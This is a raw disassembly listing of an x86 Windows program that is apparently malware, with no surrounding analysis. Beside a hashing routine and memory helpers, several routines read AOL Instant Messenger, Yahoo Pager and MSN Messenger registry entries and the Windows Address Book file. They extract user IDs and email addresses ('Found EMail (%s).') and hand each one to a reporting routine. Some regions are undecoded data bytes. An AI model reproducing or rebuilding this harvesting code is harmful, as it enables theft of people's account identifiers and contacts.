		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 83D89C0h
		dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 32DAE850h, 83907781h, 0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 0B627E890h, 0B9001Bh,	33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch
		dd 24BB5C8h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 446F70h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	0E8900000h, 246B54Ch, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 0B506E890h, 0C0850247h
		dd 0E9850Fh, 4E8B0000h,	24948D04h, 0EE4h, 84685251h, 55004436h
		dd 20244489h, 0B4B7E890h, 0B9001Bh, 33000002h, 24BC8DC0h
		dd 6F4h, 0F310C483h, 100B9ABh, 0CBF0000h, 0F30050E4h, 24448DABh
		dd 19685010h, 6A000200h, 3685500h, 90800000h, 4EB6C9E8h
		dd 8468B02h, 18244C8Dh,	0E424948Dh, 51000006h, 14244C8Bh
		dd 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh,	81E85210h
		dd 90024BB4h, 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h
		dd 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh
		dd 16F424BCh, 8C8D0000h, 6E424h, 68525100h, 443D4Ch, 0E8694F8Dh
		dd 0FFFCC913h, 938F8Ah,	8A500000h, 9487h, 68515000h, 4D60B5h
		dd 0FCCC6FE8h, 1CC483FFh, 1024548Bh, 19E89052h,	8B024BB4h
		dd 8B24247Ch, 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h
		dd 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A24FE81h
		dd 820F0044h, 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h
		dd 20019h, 0B068006Ah, 6800445Bh, 80000002h, 302444C7h
		dd 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
		dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1BB33Dh
		dd 443E8C68h, 6DE85600h, 907780A3h, 0C483F88Bh,	74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60B5h, 0FCCB33E8h
		dd 18C483FFh, 0BD93E857h, 83907780h, 0F68504C4h, 0E8560A74h
		dd 777F74EFh, 4C48390h,	1C24448Bh, 0C5E89050h, 8D024BB2h
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
		dd 68F08B00h, 4469F8h, 69E86852h, 90560044h, 1BB22CE8h
		dd 3E8C6800h, 0E8560044h, 7780A25Ch, 83F88B90h,	0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h
		dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 812E7BE8h
		dd 0C4839077h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
		dd 80BC88E8h, 4C48377h,	0A74F685h, 73E5E856h, 8390777Fh
		dd 548B04C4h, 90521C24h, 4BB1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		call	near ptr 292021Eh
		nop
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446948
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		call	near ptr 28F0000h
		nop
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44693C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 292021Eh
		nop
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 292021Eh
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F70
		push	eax
		nop
		call	near ptr 28D0000h
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 28F0000h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 285042Eh
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2710000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 28308C8h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27105BFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 27107AAh
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 292021Eh
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A88
		push	ecx
		call	ebx ; sub_5EFFD5
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A7C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 2821EEEh
		nop
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 28F0000h
		nop


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BCB+1)
		lea	ecx, [esi+69h]
